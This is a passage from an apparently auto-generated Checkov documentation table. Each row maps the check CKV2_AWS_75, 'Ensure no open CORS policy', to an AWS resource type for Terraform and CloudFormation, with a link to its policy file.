[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3903 | CKV2_AWS_75              | resource                         | aws_imagebuilder_component                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3904 | CKV2_AWS_75              | resource                         | aws_imagebuilder_component                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3905 | CKV2_AWS_75              | resource                         | aws_imagebuilder_container_recipe                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3906 | CKV2_AWS_75              | resource                         | aws_imagebuilder_container_recipe                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3907 | CKV2_AWS_75              | resource                         | aws_imagebuilder_distribution_configuration                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3908 | CKV2_AWS_75              | resource                         | aws_imagebuilder_distribution_configuration                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3909 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3910 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3911 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image_pipeline                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3912 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image_pipeline                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3913 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image_recipe                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3914 | CKV2_AWS_75              | resource                         | aws_imagebuilder_image_recipe                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3915 | CKV2_AWS_75              | resource                         | aws_imagebuilder_infrastructure_configuration                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3916 | CKV2_AWS_75              | resource                         | aws_imagebuilder_infrastructure_configuration                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3917 | CKV2_AWS_75              | resource                         | aws_imagebuilder_lifecycle_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3918 | CKV2_AWS_75              | resource                         | aws_imagebuilder_lifecycle_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3919 | CKV2_AWS_75              | resource                         | aws_imagebuilder_workflow                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3920 | CKV2_AWS_75              | resource                         | aws_imagebuilder_workflow                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3921 | CKV2_AWS_75              | resource                         | aws_inspector2_delegated_admin_account                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3922 | CKV2_AWS_75              | resource                         | aws_inspector2_delegated_admin_account                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3923 | CKV2_AWS_75              | resource                         | aws_inspector2_enabler                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3924 | CKV2_AWS_75              | resource                         | aws_inspector2_enabler                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3925 | CKV2_AWS_75              | resource                         | aws_inspector2_member_association                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3926 | CKV2_AWS_75              | resource                         | aws_inspector2_member_association                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3927 | CKV2_AWS_75              | resource                         | aws_inspector2_organization_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3928 | CKV2_AWS_75              | resource                         | aws_inspector2_organization_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3929 | CKV2_AWS_75              | resource                         | aws_inspector_assessment_target                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3930 | CKV2_AWS_75              | resource                         | aws_inspector_assessment_target                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3931 | CKV2_AWS_75              | resource                         | aws_inspector_assessment_template                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3932 | CKV2_AWS_75              | resource                         | aws_inspector_assessment_template                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3933 | CKV2_AWS_75              | resource                         | aws_inspector_resource_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3934 | CKV2_AWS_75              | resource                         | aws_inspector_resource_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3935 | CKV2_AWS_75              | resource                         | aws_instance                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3936 | CKV2_AWS_75              | resource                         | aws_instance                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3937 | CKV2_AWS_75              | resource                         | aws_internet_gateway                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3938 | CKV2_AWS_75              | resource                         | aws_internet_gateway                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3939 | CKV2_AWS_75              | resource                         | aws_internet_gateway_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3940 | CKV2_AWS_75              | resource                         | aws_internet_gateway_attachment                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3941 | CKV2_AWS_75              | resource                         | aws_internetmonitor_monitor                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3942 | CKV2_AWS_75              | resource                         | aws_internetmonitor_monitor                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3943 | CKV2_AWS_75              | resource                         | aws_iot_authorizer                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3944 | CKV2_AWS_75              | resource                         | aws_iot_authorizer                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3945 | CKV2_AWS_75              | resource                         | aws_iot_billing_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3946 | CKV2_AWS_75              | resource                         | aws_iot_billing_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3947 | CKV2_AWS_75              | resource                         | aws_iot_ca_certificate                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3948 | CKV2_AWS_75              | resource                         | aws_iot_ca_certificate                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3949 | CKV2_AWS_75              | resource                         | aws_iot_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3950 | CKV2_AWS_75              | resource                         | aws_iot_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3951 | CKV2_AWS_75              | resource                         | aws_iot_domain_configuration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3952 | CKV2_AWS_75              | resource                         | aws_iot_domain_configuration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3953 | CKV2_AWS_75              | resource                         | aws_iot_event_configurations                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3954 | CKV2_AWS_75              | resource                         | aws_iot_event_configurations                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3955 | CKV2_AWS_75              | resource                         | aws_iot_indexing_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3956 | CKV2_AWS_75              | resource                         | aws_iot_indexing_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3957 | CKV2_AWS_75              | resource                         | aws_iot_logging_options                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3958 | CKV2_AWS_75              | resource                         | aws_iot_logging_options                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3959 | CKV2_AWS_75              | resource                         | aws_iot_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3960 | CKV2_AWS_75              | resource                         | aws_iot_policy                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3961 | CKV2_AWS_75              | resource                         | aws_iot_policy_attachment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3962 | CKV2_AWS_75              | resource                         | aws_iot_policy_attachment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3963 | CKV2_AWS_75              | resource                         | aws_iot_provisioning_template                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3964 | CKV2_AWS_75              | resource                         | aws_iot_provisioning_template                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3965 | CKV2_AWS_75              | resource                         | aws_iot_role_alias                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3966 | CKV2_AWS_75              | resource                         | aws_iot_role_alias                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3967 | CKV2_AWS_75              | resource                         | aws_iot_thing                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3968 | CKV2_AWS_75              | resource                         | aws_iot_thing                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3969 | CKV2_AWS_75              | resource                         | aws_iot_thing_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3970 | CKV2_AWS_75              | resource                         | aws_iot_thing_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3971 | CKV2_AWS_75              | resource                         | aws_iot_thing_group_membership                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3972 | CKV2_AWS_75              | resource                         | aws_iot_thing_group_membership                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3973 | CKV2_AWS_75              | resource                         | aws_iot_thing_principal_attachment                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3974 | CKV2_AWS_75              | resource                         | aws_iot_thing_principal_attachment                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3975 | CKV2_AWS_75              | resource                         | aws_iot_thing_type                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3976 | CKV2_AWS_75              | resource                         | aws_iot_thing_type                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3977 | CKV2_AWS_75              | resource                         | aws_iot_topic_rule                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3978 | CKV2_AWS_75              | resource                         | aws_iot_topic_rule                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3979 | CKV2_AWS_75              | resource                         | aws_iot_topic_rule_destination                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3980 | CKV2_AWS_75              | resource                         | aws_iot_topic_rule_destination                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3981 | CKV2_AWS_75              | resource                         | aws_ivs_channel                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3982 | CKV2_AWS_75              | resource                         | aws_ivs_channel                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3983 | CKV2_AWS_75              | resource                         | aws_ivs_playback_key_pair                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3984 | CKV2_AWS_75              | resource                         | aws_ivs_playback_key_pair                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3985 | CKV2_AWS_75              | resource                         | aws_ivs_recording_configuration                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3986 | CKV2_AWS_75              | resource                         | aws_ivs_recording_configuration                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3987 | CKV2_AWS_75              | resource                         | aws_ivschat_logging_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3988 | CKV2_AWS_75              | resource                         | aws_ivschat_logging_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3989 | CKV2_AWS_75              | resource                         | aws_ivschat_room                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3990 | CKV2_AWS_75              | resource                         | aws_ivschat_room                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3991 | CKV2_AWS_75              | resource                         | aws_kendra_data_source                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3992 | CKV2_AWS_75              | resource                         | aws_kendra_data_source                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3993 | CKV2_AWS_75              | resource                         | aws_kendra_experience                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3994 | CKV2_AWS_75              | resource                         | aws_kendra_experience                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3995 | CKV2_AWS_75              | resource                         | aws_kendra_faq                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               